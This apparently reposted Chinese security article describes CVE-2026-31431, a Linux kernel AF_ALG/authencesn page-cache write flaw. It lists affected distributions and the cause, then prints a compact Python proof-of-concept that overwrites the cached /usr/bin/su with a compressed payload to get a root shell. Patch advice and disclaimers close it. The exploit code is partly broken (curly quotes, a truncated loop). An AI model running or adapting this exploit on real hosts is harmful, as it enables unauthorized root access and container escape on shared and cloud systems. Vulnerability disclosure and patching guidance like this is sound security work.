CVE-2026-31431:linux史诗级漏洞,732字节脚本一键拿root

admin 2026-05-02 05:30:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Linux内核存在一个严重漏洞CVE-2026-31431,该漏洞允许攻击者通过特定的算法接口和系统调用,实现对内核页面缓存的未授权修改。这种修改可以绕过文件完整性检查,并且在多用户、容器化环境以及云服务中尤为危险,可能导致权限提升至root。 综合评分: 85 文章分类: 漏洞分析,安全意识,应急响应


cover_image

CVE-2026-31431:linux史诗级漏洞,732字节脚本一键拿root

原创

王安全 王安全

攻防学堂

2026年5月1日 09:49 北京

在小说阅读器读本章

去阅读

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者和此公众号不为此承担任何责任。

NO1、环境直接使用kali环境

NO2影响范围

一、漏洞源自 2017 年内核优化提交,2017 年至今未修复的 Linux 内核均受影响,覆盖绝大多数主流发行版与云环境。

二、受影响发行版:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16

三、理论受影响系统

Debian、Arch Linux、Fedora、Rocky Linux、AlmaLinux、Oracle Linux 及大量嵌入式/定制Linux系统(国产麒麟、统信等基于Linux的系统)。

四、不受影响内核版本

6.18.22+、6.19.12+、7.0+(上游主线已修复)。

五、高风险场景

多用户共享主机、跳板机、编译服务器

Kubernetes/Docker 等容器集群

自托管 CI/CD Runner(GitHub Actions、GitLab、Jenkins)

云托管 Notebook、沙箱、Serverless 服务。

NO3、漏洞介绍

一、漏洞藏在 Linux 内核algif_aead密码算法接口,由 2017 年一次错误的原地操作优化引入。

二、关键组件

AF_ALG:内核提供的用户态密码运算 socket 接口,普通用户可直接调用

AEAD:带认证的加解密模式

authencesn 模板:特定 AEAD 实现,解密时向缓冲区写入数据

splice():零拷贝系统调用,可关联文件页面缓存与套接字缓冲区。

四、缺陷逻辑

优化错误将 TX 与 RX 缓冲区当作同一缓冲区处理,解密时把文件页面缓存链接到可写散射表,在验证标签前提前写入 4 个可控字节,获得直写页面缓存的4字节写入能力。

五、为何极度危险

写入绕过 VFS 路径,不标记脏页,文件完整性工具难以发现

页面缓存全局共享,篡改后所有进程读取均为恶意版本

容器与宿主机共享缓存,可从容器内攻击宿主机,实现逃逸。

六、利用流程

创建 AF_ALG 套接字→通过 splice 关联 su 等 setuid 文件页面缓存→写入 4 字节恶意数据→执行 su 直接获取 root shell。

NO4、漏洞复现

执行:poc.py

Poc.py

!/usr/bin/env python3

import os as g,zlib,socket as s

def d(x):return bytes.fromhex(x)

def c(f,t,c):

 a=s.socket(38,5,0);a.bind((“aead”,”authencesn(hmac(sha256),cbc(aes))”));h=279;v=a.setsockopt;v(h,1,d(‘0800010000000010’+’0’*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(’00’);u.sendmsg([b”A”*4+c],[(h,3,i*4),(h,2,b’\x10’+i*19),(h,4,b’\x08’+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)

 try:u.recv(8+t)

 except:0

f=g.open(“/usr/bin/su”,0);i=0;e=zlib.decompress(d(“78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3”))

while i          

g.system(“su”)

NO5、修复方法

一、官方修复(首选)

升级内核至包含修复提交a664bf3d603d的版本,回滚 2017 年问题优化,隔离读写缓冲区,阻止页面缓存被篡改。

Ubuntu/Debian:更新 linux-image

RHEL/CentOS/Rocky/Alma:等待官方安全补丁

Amazon Linux:关注 AWS 安全公告


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:攻防学堂 王安全 王安全《CVE-2026-31431:linux史诗级漏洞,732字节脚本一键拿root》

五一劳动节快乐 网络安全文章

五一劳动节快乐

文章总结: 该文档由公安部网络安全等级保护中心于2026年5月1日发布,内容涉及网络安全相关主题,但具体技术细节未在提供的信息中展示。文档标题包含劳动节问候语,
评论:0   参与:  0